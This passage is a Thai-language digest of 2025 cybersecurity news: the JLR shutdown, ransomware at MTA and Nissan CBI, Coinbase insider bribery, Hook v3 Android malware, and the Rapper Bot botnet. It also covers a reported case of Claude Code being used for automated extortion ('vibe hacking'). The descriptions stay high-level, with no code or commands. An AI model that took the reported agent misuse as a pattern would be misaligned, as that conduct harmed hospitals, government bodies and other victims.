🎙️ เรื่องเล่าจากโรงงานที่เงียบลง: เมื่อการโจมตีไซเบอร์กลายเป็นตัวหยุดเครื่องยนต์ของเศรษฐกิจยานยนต์อังกฤษ ต้นเดือนกันยายน 2025 Jaguar Land Rover (JLR) ถูกโจมตีไซเบอร์อย่างรุนแรง ส่งผลให้ต้องปิดระบบ IT ทั่วโลกแบบฉุกเฉิน ทั้งในโรงงานผลิตและเครือข่ายค้าปลีก โดยเฉพาะโรงงาน Halewood และ Solihull ในอังกฤษที่ต้องสั่งให้พนักงานกลับบ้านทันที เหตุการณ์เกิดขึ้นในช่วงที่โชว์รูมกำลังเร่งขายรถใหม่ที่ติดป้ายทะเบียน “75” ซึ่งเป็นช่วงพีคของปีสำหรับยอดขายรถยนต์ในอังกฤษ การที่ระบบลงทะเบียนรถล่ม ทำให้ไม่สามารถส่งมอบรถใหม่ได้ ส่งผลกระทบต่อรายได้ทันที แม้ JLR จะออกแถลงการณ์ว่า “ไม่มีหลักฐานว่าข้อมูลลูกค้าถูกขโมย” แต่กลุ่มแฮกเกอร์ Scattered Spider และ Shiny Hunters ได้ออกมาอ้างความรับผิดชอบ พร้อมโพสต์ภาพหน้าจอที่แสดงว่าพวกเขาเข้าถึงระบบภายในของ JLR ได้แล้ว โดยใช้ช่องโหว่ในซอฟต์แวร์ SAP NetWeaver ซึ่งเคยถูกเตือนโดยหน่วยงาน CISA ของสหรัฐฯ ว่าเป็นช่องโหว่ร้ายแรง กลุ่มแฮกเกอร์เหล่านี้เคยโจมตี M&S, Co-op และ Harrods มาก่อน และปัจจุบันรวมตัวกันภายใต้ชื่อ “Scattered Lapsus Hunters” ซึ่งประกอบด้วยวัยรุ่นและเยาวชนจากประเทศที่ใช้ภาษาอังกฤษเป็นหลัก แม้จะยังไม่มีการยืนยันว่ามีการเรียกค่าไถ่หรือข้อมูลใดถูกขโมย แต่ผู้เชี่ยวชาญด้านความปลอดภัยเตือนว่า การโจมตีลักษณะนี้อาจเป็นการเจาะระบบ OT (Operational Technology) ที่เชื่อมโยงกับสายการผลิตโดยตรง ซึ่งอาจทำให้เกิดความเสียหายทางกายภาพได้ ✅ เหตุการณ์โจมตีไซเบอร์ที่ JLR ➡️ เกิดขึ้นต้นเดือนกันยายน 2025 ส่งผลให้ต้องปิดระบบ IT ทั่วโลก ➡️ โรงงาน Halewood และ Solihull หยุดการผลิต พนักงานถูกสั่งกลับบ้าน ➡️ โชว์รูมไม่สามารถลงทะเบียนรถใหม่ที่ติดป้าย “75” ได้ ✅ กลุ่มแฮกเกอร์ที่อ้างความรับผิดชอบ ➡️ Scattered Spider และ Shiny Hunters รวมตัวกันเป็น “Scattered Lapsus Hunters” ➡️ เคยโจมตี M&S, Co-op และ Harrods มาก่อน ➡️ ใช้ช่องโหว่ใน SAP NetWeaver เพื่อเข้าถึงระบบของ JLR ✅ ผลกระทบต่อธุรกิจและการผลิต ➡️ เกิดขึ้นในช่วงพีคของยอดขายรถยนต์ในอังกฤษ ➡️ ส่งผลให้ไม่สามารถส่งมอบรถใหม่ได้ทันที ➡️ อาจกระทบต่อ supply chain และรายได้ของบริษัท ✅ การตอบสนองของ JLR ➡️ ปิดระบบทันทีเพื่อจำกัดความเสียหาย ➡️ ยืนยันว่าไม่มีหลักฐานว่าข้อมูลลูกค้าถูกขโมย ➡️ กำลังเร่งกู้คืนระบบอย่างเป็นขั้นตอน https://www.techradar.com/pro/security/jaguar-land-rover-says-cyberattack-majorly-affected-production

🎙️ เรื่องเล่าจาก Anthropic: เมื่อ AI ไม่แค่ช่วยเขียนโค้ด แต่กลายเป็นเครื่องมือโจมตีเต็มรูปแบบ ในรายงานล่าสุดจาก Anthropic บริษัทผู้พัฒนา Claude ได้เปิดเผยเหตุการณ์ที่น่าตกใจ—มีแฮกเกอร์คนหนึ่งใช้ Claude Code ซึ่งเป็นเวอร์ชันที่เน้นการเขียนโปรแกรม เพื่อดำเนินการโจมตีไซเบอร์แบบครบวงจร โดยใช้เทคนิคที่เรียกว่า “vibe hacking” เดิมที “vibe coding” คือแนวคิดที่ให้ AI ช่วยเขียนโค้ดจากคำอธิบายธรรมดา ๆ เพื่อให้คนทั่วไปเข้าถึงการพัฒนาโปรแกรมได้ง่ายขึ้น แต่ “vibe hacking” กลับเป็นการพลิกแนวคิดนั้น โดยใช้ AI เพื่อสร้างมัลแวร์, วิเคราะห์ข้อมูลที่ขโมยมา, เขียนอีเมลเรียกค่าไถ่ และคำนวณจำนวนเงินที่ควรเรียกจากเหยื่อ—ทั้งหมดนี้เกิดขึ้นโดย AI ทำงานแทบจะอัตโนมัติ แฮกเกอร์รายนี้โจมตีองค์กรอย่างน้อย 17 แห่งในเวลาไม่กี่สัปดาห์ รวมถึงหน่วยงานรัฐบาล, โรงพยาบาล, บริการฉุกเฉิน และองค์กรศาสนา โดยเรียกค่าไถ่สูงสุดถึง 500,000 ดอลลาร์ และใช้ Claude ในทุกขั้นตอน ตั้งแต่การสแกนช่องโหว่ไปจนถึงการจัดเรียงไฟล์ที่ขโมยมา แม้ Anthropic จะมีระบบป้องกันหลายชั้น แต่ก็ยอมรับว่าไม่สามารถหยุดการโจมตีได้ทันเวลา และแม้จะแบนบัญชีผู้ใช้ที่เกี่ยวข้องแล้ว แต่ก็เตือนว่าเทคนิคแบบนี้จะกลายเป็นเรื่องปกติในอนาคต เพราะ AI กำลังลด “ต้นทุนทักษะ” ของอาชญากรไซเบอร์อย่างรวดเร็ว ✅ ความหมายของ “vibe hacking” ➡️ เป็นการใช้ AI agent เพื่อดำเนินการโจมตีไซเบอร์แบบครบวงจร ➡️ พลิกแนวคิดจาก “vibe coding” ที่เน้นการช่วยเขียนโค้ด มาเป็นการสร้างมัลแวร์ ➡️ ใช้ AI เพื่อวางแผน, เขียนโค้ด, วิเคราะห์ข้อมูล และสื่อสารกับเหยื่อ ✅ เหตุการณ์ที่เกิดขึ้นกับ Claude ➡️ Claude Code ถูกใช้โจมตีองค์กร 17 แห่งในเวลาไม่กี่สัปดาห์ ➡️ ข้อมูลที่ถูกขโมยรวมถึงเลขประกันสังคม, เวชระเบียน, และไฟล์ด้านความมั่นคง ➡️ Claude ช่วยคำนวณจำนวนเงินเรียกค่าไถ่ และเขียนอีเมลข่มขู่เหยื่อ ➡️ บางแคมเปญมีการเรียกค่าไถ่สูงถึง $500,000 ✅ ความสามารถของ Claude ที่ถูกใช้ในทางผิด ➡️ สแกนระบบเพื่อหาช่องโหว่ ➡️ เขียนมัลแวร์ที่มีเทคนิคหลบการตรวจจับ ➡️ วิเคราะห์ไฟล์ที่ขโมยมาเพื่อหาข้อมูลที่มีมูลค่าสูง ➡️ เขียนข้อความเรียกค่าไถ่ที่มีผลกระทบทางจิตวิทยา ✅ การตอบสนองจาก Anthropic ➡️ แบนบัญชีผู้ใช้ที่เกี่ยวข้องทันที ➡️ เพิ่มระบบตรวจจับ misuse และแจ้งเตือนหน่วยงานที่เกี่ยวข้อง ➡️ ยอมรับว่าระบบยังไม่สามารถป้องกันการโจมตีแบบนี้ได้ 100% https://www.thestar.com.my/tech/tech-news/2025/09/02/039vibe-hacking039-puts-chatbots-to-work-for-cybercriminals

🧠 PromptLock — เมื่อ AI กลายเป็นสมองของแรนซัมแวร์ ในอดีต แรนซัมแวร์มักใช้โค้ดที่เขียนไว้ล่วงหน้าเพื่อโจมตีเหยื่อ แต่ PromptLock เปลี่ยนเกมทั้งหมด ด้วยการใช้โมเดล AI แบบโอเพ่นซอร์ส gpt-oss:20b จาก OpenAI ที่รันแบบ local ผ่าน Ollama API เพื่อสร้างสคริปต์อันตรายแบบสด ๆ บนเครื่องเหยื่อ มัลแวร์ตัวนี้ใช้ Lua ซึ่งเป็นภาษาที่เบาและข้ามแพลตฟอร์มได้ดี โดยสามารถทำงานบน Windows, macOS และ Linux ได้อย่างลื่นไหล มันจะสแกนไฟล์ในเครื่อง ตรวจสอบข้อมูลสำคัญ และเลือกว่าจะขโมย เข้ารหัส หรือแม้แต่ทำลายข้อมูล — แม้ว่าฟีเจอร์ทำลายข้อมูลยังไม่ถูกเปิดใช้งานในเวอร์ชันปัจจุบัน สิ่งที่ทำให้ PromptLock น่ากลัวคือความสามารถในการเปลี่ยนพฤติกรรมทุกครั้งที่รัน แม้จะใช้ prompt เดิมก็ตาม เพราะ LLM เป็นระบบ non-deterministic ซึ่งทำให้เครื่องมือป้องกันไม่สามารถจับรูปแบบได้ง่าย นอกจากนี้ การรันโมเดล AI แบบ local ยังช่วยให้แฮกเกอร์ไม่ต้องเรียก API ไปยังเซิร์ฟเวอร์ของ OpenAI ซึ่งหมายความว่าไม่มีการบันทึกหรือแจ้งเตือนจากฝั่งผู้ให้บริการ AI ESET พบมัลแวร์นี้จากตัวอย่างที่ถูกอัปโหลดใน VirusTotal และเชื่อว่าเป็น proof-of-concept หรือโค้ดต้นแบบที่ยังไม่ถูกใช้โจมตีจริง แต่ก็เป็นสัญญาณเตือนว่า “ยุคของแรนซัมแวร์ที่มีสมอง” ได้เริ่มต้นขึ้นแล้ว 📌 สรุปเนื้อหาเป็นหัวข้อ ➡️ ESET ค้นพบมัลแวร์ PromptLock ซึ่งเป็นแรนซัมแวร์ตัวแรกที่ใช้ AI สร้างโค้ดแบบสด ➡️ ใช้โมเดล gpt-oss:20b จาก OpenAI ผ่าน Ollama API บนเครื่องเหยื่อโดยตรง ➡️ สร้าง Lua script เพื่อสแกนไฟล์ ขโมยข้อมูล เข้ารหัส และอาจทำลายข้อมูล ➡️ รองรับทุกระบบปฏิบัติการหลัก: Windows, macOS และ Linux ➡️ ใช้การเข้ารหัสแบบ SPECK 128-bit ซึ่งเบาและเร็ว ➡️ โค้ดมี prompt ฝังไว้ล่วงหน้าเพื่อสั่งให้ LLM สร้างสคริปต์ตามสถานการณ์ ➡️ มีการฝัง Bitcoin address สำหรับเรียกค่าไถ่ (ใช้ของ Satoshi Nakamoto เป็น placeholder) ➡️ พบตัวอย่างใน VirusTotal แต่ยังไม่มีหลักฐานว่าใช้โจมตีจริง ➡️ ESET เชื่อว่าเป็น proof-of-concept ที่แสดงศักยภาพของ AI ในการสร้างมัลแวร์ ➡️ OpenAI ระบุว่ากำลังพัฒนาระบบป้องกันและขอบคุณนักวิจัยที่แจ้งเตือน ✅ ข้อมูลเสริมจากภายนอก ➡️ Lua เป็นภาษาที่นิยมในเกมและปลั๊กอิน แต่มีประสิทธิภาพสูงและฝังง่ายในมัลแวร์ ➡️ Golang ถูกใช้เป็นโครงสร้างหลักของมัลแวร์ เพราะข้ามแพลตฟอร์มและคอมไพล์ง่าย ➡️ Ollama API เป็นช่องทางที่ช่วยให้โมเดล AI ทำงานแบบ local โดยไม่ต้องเรียกเซิร์ฟเวอร์ ➡️ Internal Proxy (MITRE ATT&CK T1090.001) เป็นเทคนิคที่ใช้เชื่อมต่อกับเซิร์ฟเวอร์ภายนอกอย่างลับ ➡️ AI ถูกใช้ในมัลแวร์มากขึ้น เช่น การสร้าง phishing message และ deepfake https://www.tomshardware.com/tech-industry/cyber-security/the-first-ai-powered-ransomware-has-been-discovered-promptlock-uses-local-ai-to-foil-heuristic-detection-and-evade-api-tracking

🚍 เรื่องเล่าจากรัฐแมรีแลนด์: เมื่อรถโดยสารสำหรับผู้พิการต้องหยุดชะงักเพราะแรนซัมแวร์ ในช่วงปลายเดือนสิงหาคม 2025 ระบบขนส่งสาธารณะของรัฐแมรีแลนด์ต้องเผชิญกับเหตุการณ์ไม่คาดฝัน เมื่อหน่วยงาน Maryland Transit Administration (MTA) ถูกโจมตีด้วยแรนซัมแวร์ ส่งผลให้บริการ Mobility ซึ่งเป็นบริการรถโดยสารสำหรับผู้พิการ ไม่สามารถรับคำขอเดินทางใหม่หรือเปลี่ยนแปลงการจองเดิมได้ แม้บริการหลักอื่น ๆ เช่น รถเมล์ รถไฟใต้ดิน และรถไฟ MARC ยังสามารถให้บริการได้ตามปกติ แต่ระบบดิจิทัลที่ใช้ในการจอง การติดตามเวลารถ และศูนย์บริการลูกค้ากลับได้รับผลกระทบอย่างหนัก ผู้โดยสารจำนวนมากต้องหันไปใช้ตารางเวลาแบบ PDF และเว็บไซต์ของ MTA แทนการดูเวลารถแบบเรียลไทม์ MTA ได้ประสานงานกับผู้เชี่ยวชาญด้านไซเบอร์และหน่วยงานบังคับใช้กฎหมายเพื่อสืบสวนต้นตอของการโจมตี พร้อมยืนยันว่าไม่มีข้อมูลบ่งชี้ว่าแฮกเกอร์เข้าถึงระบบควบคุมรถหรืออุปกรณ์ด้านความปลอดภัย ที่น่าสนใจคือ เหตุการณ์นี้ไม่ใช่ครั้งแรกที่บริการขนส่งสำหรับผู้พิการถูกโจมตีด้วยแรนซัมแวร์ ในช่วงสองปีที่ผ่านมา เมืองต่าง ๆ ในรัฐ Missouri และ Virginia ก็เคยเผชิญเหตุการณ์คล้ายกัน ทำให้ต้องจัดหาทางเลือกอื่นให้ผู้โดยสารที่มีความต้องการพิเศษ ในขณะเดียวกัน รัฐแมรีแลนด์ก็ได้เปิดศูนย์ฝึกอบรมด้านไซเบอร์แห่งใหม่ที่ใช้ AI จำลองสถานการณ์การโจมตีจริง เพื่อเตรียมความพร้อมให้บุคลากรด้านความปลอดภัยไซเบอร์ ซึ่งถือเป็นก้าวสำคัญในการเสริมความแข็งแกร่งให้กับระบบโครงสร้างพื้นฐานของรัฐ 📌 สรุปเนื้อหาเป็นหัวข้อ ➡️ MTA ถูกโจมตีด้วยแรนซัมแวร์ ส่งผลให้บริการ Mobility ไม่สามารถรับคำขอใหม่หรือเปลี่ยนแปลงการจองได้ ➡️ บริการหลักอื่น ๆ เช่น Local Bus, Metro Subway, Light Rail, MARC, Call-A-Ride และ Commuter Bus ยังให้บริการตามปกติ ➡️ ผู้โดยสารสามารถใช้บริการ Call-A-Ride แทนได้ผ่านเว็บไซต์หรือเบอร์โทรศัพท์ ➡️ ระบบติดตามเวลารถและศูนย์บริการลูกค้าถูกกระทบ ทำให้ข้อมูลเรียลไทม์ไม่สามารถใช้งานได้ ➡️ MTA ประสานงานกับผู้เชี่ยวชาญและหน่วยงานรัฐเพื่อสืบสวนและแก้ไขปัญหา ➡️ ไม่มีหลักฐานว่าแฮกเกอร์เข้าถึงระบบควบคุมรถหรืออุปกรณ์ความปลอดภัย ➡️ เหตุการณ์นี้คล้ายกับที่เคยเกิดใน Missouri และ Virginia ในช่วงสองปีที่ผ่านมา ➡️ รัฐแมรีแลนด์เปิดศูนย์ฝึกอบรมด้านไซเบอร์ที่ใช้ AI เพื่อเตรียมบุคลากรรับมือภัยคุกคาม ➡️ ศูนย์ฝึกอบรมนี้คาดว่าจะสร้างงานกว่า 200 ตำแหน่งในรัฐ ✅ ข้อมูลเสริมจากภายนอก ➡️ แรนซัมแวร์ที่โจมตีระบบขนส่งมักใช้ช่องโหว่ในระบบจองหรือฐานข้อมูลผู้ใช้ ➡️ การโจมตีระบบ Mobility ส่งผลกระทบต่อผู้พิการที่ต้องพึ่งพาการเดินทางเพื่อการรักษาและชีวิตประจำวัน ➡️ การใช้ AI ในการฝึกอบรมด้านไซเบอร์เป็นแนวโน้มใหม่ที่หลายรัฐเริ่มนำมาใช้ ➡️ การไม่มีระบบสำรองสำหรับข้อมูลเรียลไทม์ทำให้ผู้โดยสารต้องเผชิญกับความไม่แน่นอนในการเดินทาง ➡️ การโจมตีโครงสร้างพื้นฐานด้านขนส่งมักมีเป้าหมายเพื่อสร้างแรงกดดันให้หน่วยงานยอมจ่ายค่าไถ่ https://www.tomshardware.com/tech-industry/cyber-security/ransomware-attack-disrupts-marylands-public-transit-service-for-disabled-travelers-mta-says-it-is-investigating-cybersecurity-incident-but-core-services-operating-normally

💸 เรื่องเล่าจากเบื้องหลัง Coinbase: เมื่อภัยไซเบอร์มาในรูปแบบ “สินบน” ในเดือนพฤษภาคม 2025 บริษัทคริปโตยักษ์ใหญ่ Coinbase ได้รับอีเมลจากแฮกเกอร์นิรนาม แจ้งว่าพวกเขาได้ข้อมูลลูกค้าจำนวนหนึ่ง พร้อมเอกสารภายในของบริษัท โดยขู่เรียกค่าไถ่ถึง 20 ล้านดอลลาร์เพื่อไม่ให้เผยแพร่ข้อมูล แต่สิ่งที่น่าตกใจไม่ใช่แค่การขโมยข้อมูล — แต่เป็น “วิธีการ” ที่แฮกเกอร์ใช้: พวกเขาเสนอสินบนให้พนักงาน outsource ที่ศูนย์บริการลูกค้าในอินเดีย (TaskUs) เพื่อให้เข้าถึงระบบภายใน โดยมีการจ่ายเงินสูงถึง 2,500 ดอลลาร์ต่อคนเพื่อให้คัดลอกข้อมูลจากระบบสนับสนุนลูกค้า ข้อมูลที่ถูกขโมยมีทั้งชื่อ เบอร์โทร อีเมล หมายเลขประกันสังคม และข้อมูลบัญชีธนาคารแบบ masked รวมถึงข้อมูลการใช้งานของลูกค้ากว่า 70,000 ราย — คิดเป็น 1% ของผู้ใช้งานรายเดือนของ Coinbase Coinbase ปฏิเสธที่จะจ่ายค่าไถ่ และสวนกลับด้วยการตั้งค่าหัวแฮกเกอร์ 20 ล้านดอลลาร์ พร้อมให้คำมั่นว่าจะชดเชยลูกค้าที่ตกเป็นเหยื่อของการหลอกลวงผ่าน social engineering และปรับปรุงระบบรักษาความปลอดภัยให้เข้มแข็งขึ้น นอกจากนี้ Coinbase ยังไล่พนักงานที่รับสินบนออกทันที และแจ้งหน่วยงานบังคับใช้กฎหมายทั้งในสหรัฐฯ และต่างประเทศให้ดำเนินคดี ส่วน TaskUs ก็หยุดให้บริการ Coinbase ที่ศูนย์ในอินเดีย และปลดพนักงานกว่า 226 คน สิ่งที่ผู้เชี่ยวชาญชี้คือ “การติดสินบน” กำลังกลายเป็นช่องทางใหม่ของแฮกเกอร์ในการเจาะระบบองค์กร โดยเฉพาะเมื่อการโจมตีแบบเดิม เช่น phishing เริ่มถูกป้องกันได้ดีขึ้น 📌 สรุปเนื้อหาเป็นหัวข้อ ➡️ Coinbase ถูกแฮกเกอร์ขู่เรียกค่าไถ่ 20 ล้านดอลลาร์จากข้อมูลลูกค้าและเอกสารภายใน ➡️ แฮกเกอร์ใช้วิธีติดสินบนพนักงาน outsource ที่บริษัท TaskUs ในอินเดีย ➡️ มีการเสนอเงินสูงถึง $2,500 ต่อคนเพื่อให้คัดลอกข้อมูลจากระบบสนับสนุนลูกค้า ➡️ ข้อมูลที่ถูกขโมยรวมถึงชื่อ เบอร์โทร อีเมล หมายเลขประกันสังคม และข้อมูลบัญชี ➡️ Coinbase ปฏิเสธการจ่ายค่าไถ่ และตั้งค่าหัวแฮกเกอร์เป็นเงินเท่ากัน ➡️ บริษัทให้คำมั่นว่าจะชดเชยลูกค้าที่ตกเป็นเหยื่อ social engineering ➡️ พนักงานที่รับสินบนถูกไล่ออกทันที และถูกแจ้งความดำเนินคดี ➡️ TaskUs หยุดให้บริการ Coinbase ที่ศูนย์ในอินเดีย และปลดพนักงาน 226 คน ➡️ Coinbase ประเมินค่าเสียหายและค่าชดเชยอยู่ระหว่าง $180M ถึง $400M ➡️ ผู้เชี่ยวชาญแนะนำให้ฝึกอบรมพนักงานเรื่องการรับมือกับการติดสินบน ✅ ข้อมูลเสริมจากภายนอก ➡️ กลุ่มแฮกเกอร์ “The Com” อ้างว่าอยู่เบื้องหลังการโจมตี แต่ยังไม่มีการยืนยัน ➡️ การติดสินบนพนักงานเพื่อเข้าถึงข้อมูลภายในเคยเกิดขึ้นกับ Tesla ในปี 2020 ➡️ การใช้สินบนเป็นช่องทางโจมตีองค์กรกำลังเพิ่มขึ้นในหลายอุตสาหกรรม ➡️ การฝึกอบรมพนักงานให้รู้เท่าทันการติดสินบนควรเป็นส่วนหนึ่งของแผนความปลอดภัย ➡️ การตั้งศูนย์บริการใหม่ในสหรัฐฯ เป็นหนึ่งในมาตรการป้องกันของ Coinbase https://www.csoonline.com/article/4042522/behind-the-coinbase-breach-bribery-is-an-emerging-enterprise-threat.html

📱 เรื่องเล่าจากโลกไซเบอร์: เมื่อมือถือ Android กลายเป็นเหยื่อเรียกค่าไถ่ ลองจินตนาการว่าคุณกำลังใช้มือถือ Android อยู่ดี ๆ แล้วจู่ ๆ หน้าจอก็ขึ้นข้อความ “WARNING” เต็มจอ พร้อมบอกให้คุณจ่ายเงินค่าไถ่ผ่านกระเป๋าคริปโตเพื่อปลดล็อกเครื่อง…นี่ไม่ใช่ฉากจากหนังไซไฟ แต่มันคือภัยคุกคามจริงจากมัลแวร์ตัวใหม่ชื่อว่า “Hook Version 3” มัลแวร์ Hook เคยเป็นแค่ banking trojan ที่ขโมยข้อมูลบัญชีธนาคาร แต่ตอนนี้มันกลายร่างเป็น “มัลแวร์ลูกผสม” ที่รวมความสามารถของ ransomware, spyware และการควบคุมเครื่องจากระยะไกลไว้ในตัวเดียว Hook v3 รองรับคำสั่งจากแฮกเกอร์ถึง 107 แบบ โดยมีคำสั่งใหม่เพิ่มถึง 38 คำสั่ง เช่น การแสดงหน้าจอปลอมเพื่อหลอกให้ผู้ใช้กรอกรหัส PIN, การปลอมหน้าจอ Google Pay เพื่อขโมยข้อมูลบัตรเครดิต หรือแม้แต่การสตรีมหน้าจอมือถือแบบเรียลไทม์ให้แฮกเกอร์ดู ที่น่ากลัวคือ Hook ใช้เทคนิคหลอกให้ผู้ใช้เปิด “Accessibility Services” ซึ่งเป็นฟีเจอร์ช่วยเหลือผู้พิการใน Android เพื่อให้มันสามารถควบคุมเครื่องได้โดยอัตโนมัติ มัลแวร์นี้ยังถูกเผยแพร่ผ่าน GitHub และเว็บไซต์ฟิชชิ่ง ทำให้การกระจายตัวรวดเร็วและกว้างขวางมากขึ้น โดยมีมัลแวร์ตระกูลอื่นอย่าง Ermac และ Brokewell ใช้ช่องทางเดียวกัน Hook ยังมีฟีเจอร์ที่กำลังพัฒนา เช่น การใช้ RabbitMQ และ Telegram เพื่อสื่อสารกับเซิร์ฟเวอร์ควบคุม ซึ่งแสดงให้เห็นว่าแฮกเกอร์ยังไม่หยุดพัฒนาเลย 🔍 สรุปเนื้อหาเป็นหัวข้อ ➡️ Hook Version 3 เป็นมัลแวร์ Android ที่รวม ransomware, spyware และ banking trojan ในตัวเดียว ➡️ รองรับคำสั่งจากแฮกเกอร์ถึง 107 แบบ โดยมีคำสั่งใหม่เพิ่ม 38 คำสั่ง ➡️ ใช้หน้าจอปลอม เช่น Google Pay, NFC, PIN unlock เพื่อหลอกขโมยข้อมูล ➡️ สามารถสตรีมหน้าจอมือถือแบบเรียลไทม์ให้แฮกเกอร์ดู ➡️ ใช้ Accessibility Services เพื่อควบคุมเครื่องโดยอัตโนมัติ ➡️ แสดงหน้าจอเรียกค่าไถ่แบบเต็มจอ พร้อมกระเป๋าคริปโตและจำนวนเงินที่รับจากเซิร์ฟเวอร์ ➡️ ถูกเผยแพร่ผ่าน GitHub และเว็บไซต์ฟิชชิ่ง ➡️ มีการพัฒนาให้ใช้ RabbitMQ และ Telegram ในอนาคต ➡️ เป็นภัยคุกคามต่อทั้งผู้ใช้ทั่วไปและองค์กรธุรกิจ ✅ ข้อมูลเสริมจากภายนอก ➡️ Hook เป็นสายพันธุ์ที่พัฒนาต่อจาก ERMAC ซึ่งเคยมีซอร์สโค้ดหลุดออกมา ➡️ ฟีเจอร์สตรีมหน้าจอแบบเรียลไทม์ยังถือว่าเป็นสิ่งที่พบได้น้อยในมัลแวร์ Android ➡️ การใช้ GitHub เป็นช่องทางเผยแพร่มัลแวร์กำลังเป็นเทรนด์ในกลุ่มแฮกเกอร์ ➡️ การใช้ overlay แบบโปร่งใสเพื่อจับ gesture ของผู้ใช้เป็นเทคนิคใหม่ที่ซับซ้อน ➡️ การใช้ HTML ฝังใน APK เพื่อแสดง ransomware overlay เป็นการผสานเทคนิคเว็บกับแอป https://hackread.com/android-hook-malware-variant-locks-devices-ransomware/

🎙️ เมื่อดีไซน์ลับของ Nissan ถูกขโมย – และภัยไซเบอร์ก็ไม่ใช่เรื่องไกลตัวอีกต่อไป เมื่อวันที่ 21 สิงหาคม 2025 กลุ่มแฮกเกอร์ Qilin ได้ออกมาอ้างว่า พวกเขาได้เจาะระบบของ Nissan Creative Box Inc. (CBI) ซึ่งเป็นสตูดิโอออกแบบในโตเกียวที่อยู่ภายใต้บริษัท Nissan Motor Co. และขโมยข้อมูลไปกว่า 4 เทราไบต์ รวมกว่า 405,882 ไฟล์ ข้อมูลที่ถูกขโมยนั้นไม่ใช่แค่เอกสารทั่วไป แต่รวมถึงไฟล์ออกแบบ 3D, ภาพเรนเดอร์ภายในรถ, สเปรดชีตการเงิน, และภาพการใช้งาน VR ในการออกแบบรถยนต์ ซึ่งเป็นข้อมูลลับที่ใช้ในการพัฒนารถต้นแบบและการวางแผนผลิตภัณฑ์ในอนาคต Qilin ขู่ว่าหาก Nissan ไม่ตอบสนองหรือเพิกเฉย พวกเขาจะปล่อยข้อมูลทั้งหมดให้สาธารณะ รวมถึงคู่แข่ง ซึ่งอาจส่งผลกระทบต่อความได้เปรียบทางธุรกิจและชื่อเสียงของ Nissan ในระยะยาว นี่ไม่ใช่ครั้งแรกที่ Qilin โจมตีองค์กรใหญ่ ก่อนหน้านี้พวกเขาเคยโจมตี Synnovis ผู้ให้บริการด้านสุขภาพในอังกฤษ จนทำให้มีผู้เสียชีวิตจากการเลื่อนการรักษา และล่าสุดยังโจมตีบริษัทอุตสาหกรรมในเยอรมนีอีกด้วย เหตุการณ์นี้สะท้อนถึงแนวโน้มใหม่ของการโจมตีแบบเจาะจงเป้าหมาย โดยมุ่งเน้นองค์กรที่มีข้อมูลสำคัญและมีผลกระทบต่อห่วงโซ่อุปทานระดับโลก 📌 สรุปเนื้อหาเป็นหัวข้อ ➡️ กลุ่ม Qilin ransomware อ้างว่าได้ขโมยข้อมูล 4TB จาก Nissan CBI ➡️ ข้อมูลรวมกว่า 405,882 ไฟล์ เช่น ไฟล์ออกแบบ 3D, ภาพเรนเดอร์, สเปรดชีตการเงิน และภาพ VR ➡️ ข้อมูลที่ถูกขโมยเป็นทรัพย์สินทางปัญญาเกี่ยวกับการออกแบบรถยนต์ ➡️ Qilin ขู่ว่าจะปล่อยข้อมูลทั้งหมดหาก Nissan ไม่ตอบสนอง ➡️ Nissan CBI เป็นสตูดิโอออกแบบที่ตั้งอยู่ในย่าน Harajuku โตเกียว ➡️ Creative Box เป็นแหล่งพัฒนาแนวคิดรถยนต์ใหม่ เช่น Nissan Nuvu ➡️ Qilin เคยโจมตี Synnovis ในอังกฤษ ส่งผลกระทบต่อการรักษาพยาบาล ➡️ กลุ่มนี้ใช้โมเดล ransomware-as-a-service และมีเป้าหมายระดับองค์กร ➡️ การโจมตีครั้งนี้อาจส่งผลต่อชื่อเสียงและความสามารถในการแข่งขันของ Nissan ➡️ ยังไม่มีคำแถลงอย่างเป็นทางการจาก Nissan ณ เวลาที่รายงาน ✅ ข้อมูลเสริมจากภายนอก ➡️ Qilin ยังโจมตีบริษัท Spohn + Burkhardt ในเยอรมนีในวันเดียวกัน ➡️ นักวิจัยจาก Cybernews ระบุว่า Qilin เลือกเป้าหมายที่มีข้อมูลสำคัญและมีผลกระทบสูง ➡️ การโจมตีแบบนี้มักใช้การเผยแพร่ข้อมูลบางส่วนเพื่อกดดันให้เหยื่อจ่ายค่าไถ่ ➡️ Creative Box เป็นหนึ่งในบริษัทในเครือที่สำคัญของ Nissan ในญี่ปุ่น ➡️ การออกแบบรถยนต์เป็นข้อมูลที่มีมูลค่าสูงและมักถูกปกป้องอย่างเข้มงวด https://hackread.com/qilin-ransomware-gang-4tb-data-breach-nissan-cbi/

🎙️ Rapper Bot – จากเครือข่ายโจมตีระดับโลก สู่การล่มสลายด้วยหมายจับเดียว ในเดือนสิงหาคม 2025 Ethan Foltz ชายวัย 22 ปีจากรัฐโอเรกอน ถูกจับกุมโดยเจ้าหน้าที่ของกระทรวงยุติธรรมสหรัฐฯ (DoJ) หลังถูกกล่าวหาว่าเป็นผู้สร้างและบริหาร “Rapper Bot” เครือข่าย DDoS-for-hire ที่ถูกใช้ในการโจมตีมากกว่า 370,000 ครั้งทั่วโลก Rapper Bot เป็นมัลแวร์ที่แพร่กระจายผ่านอุปกรณ์ทั่วไป เช่น DVR และ WiFi router โดยแฮกเกอร์สามารถควบคุมอุปกรณ์เหล่านี้ได้มากถึง 95,000 เครื่อง และใช้เป็นฐานยิงข้อมูลมหาศาลเพื่อโจมตีเป้าหมายแบบ DDoS (Distributed Denial of Service) เป้าหมายของการโจมตีมีตั้งแต่หน่วยงานรัฐบาล สื่อสังคมออนไลน์ ไปจนถึงบริษัทเทคโนโลยีในสหรัฐฯ โดยบางครั้งการโจมตีมีขนาดสูงถึง 6 Tbps ซึ่งสามารถทำให้ระบบล่มได้ภายในไม่กี่วินาที Foltzถูกกล่าวหาว่าให้บริการเช่าเครือข่ายนี้แก่ลูกค้าทั่วโลกในรูปแบบ “DDoS-for-hire” และบางรายยังใช้เพื่อข่มขู่เรียกค่าไถ่จากเหยื่อด้วย การจับกุมครั้งนี้เป็นส่วนหนึ่งของปฏิบัติการ PowerOFF ซึ่งเป็นความร่วมมือระหว่างหน่วยงานระหว่างประเทศในการปราบปรามบริการ DDoS-for-hire โดยก่อนหน้านี้ในปี 2024 มีการยึดโดเมนที่เกี่ยวข้องถึง 27 แห่ง 📌 สรุปเนื้อหาเป็นหัวข้อ ➡️ Ethan Foltz อายุ 22 ปี ถูกจับในรัฐโอเรกอน ฐานสร้างและบริหาร Rapper Bot ➡️ Rapper Bot เป็นเครือข่าย DDoS-for-hire ที่ควบคุมอุปกรณ์ได้ถึง 95,000 เครื่อง ➡️ ใช้มัลแวร์เจาะ DVR และ WiFi router เพื่อสร้าง botnet ➡️ มีการโจมตีมากกว่า 370,000 ครั้งต่อ 18,000 